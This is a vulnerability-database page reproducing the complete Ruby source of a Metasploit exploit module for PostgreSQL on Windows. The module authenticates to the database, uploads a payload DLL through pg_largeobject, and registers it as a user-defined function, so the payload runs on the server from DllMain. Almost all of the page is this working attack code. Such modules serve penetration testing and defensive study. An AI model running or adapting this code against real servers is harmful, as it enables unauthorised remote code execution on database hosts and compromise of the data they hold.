PostgreSQL for Microsoft Windows Payload Execution

2011-03-23T19:36:07
ID MSF:EXPLOIT/WINDOWS/POSTGRES/POSTGRES_PAYLOAD
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

On default Microsoft Windows installations of PostgreSQL the postgres service account may write to the current directory (which is usually "C:\Program Files\PostgreSQL\\data" where is the major.minor version of PostgreSQL). UDF DLL's may be sourced from there as well. This module uploads a Windows DLL file via the pg_largeobject method of binary injection and creates a UDF (user defined function) from that DLL. Because the payload is run from DllMain, it does not need to conform to specific Postgres API versions.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  # Creates an instance of this module.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',
      'Description'    => %q{
        On default Microsoft Windows installations of PostgreSQL the postgres
        service account may write to the current directory (which is usually
        "C:\Program Files\PostgreSQL\<version>\data" where <version> is the
        major.minor version of PostgreSQL). UDF DLL's may be sourced from
        there as well.

        This module uploads a Windows DLL file via the pg_largeobject method
        of binary injection and creates a UDF (user defined function) from
        that DLL. Because the payload is run from DllMain, it does not need to
        conform to specific Postgres API versions.
      },
      'Author'         =>
      [
        'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
        'todb' # this Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
        ],
      'Platform'       => 'win',
      'Targets'        =>
      [
        [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
        [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
    ))

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      print_good "Authentication successful. Version: #{version}"
      return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe
    end
  end

  def exploit
    version = do_login(username,password,database)
    case version
    when :noauth; print_error "Authentication failed"; return
    when :noconn; print_error "Connection failed"; return
    else
      print_status("#{rhost}:#{rport} - #{version}")
    end

    fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
    register_files_for_cleanup(fname)

    unless postgres_upload_binary_data(generate_payload_dll, fname)
      print_error "Could not upload the UDF DLL"
      return
    end

    print_status "Uploaded as #{fname}"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()"+
        " returns void as '#{fname}','#{func_name}'"+
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn

  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => rhost,
          :port => rport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end


end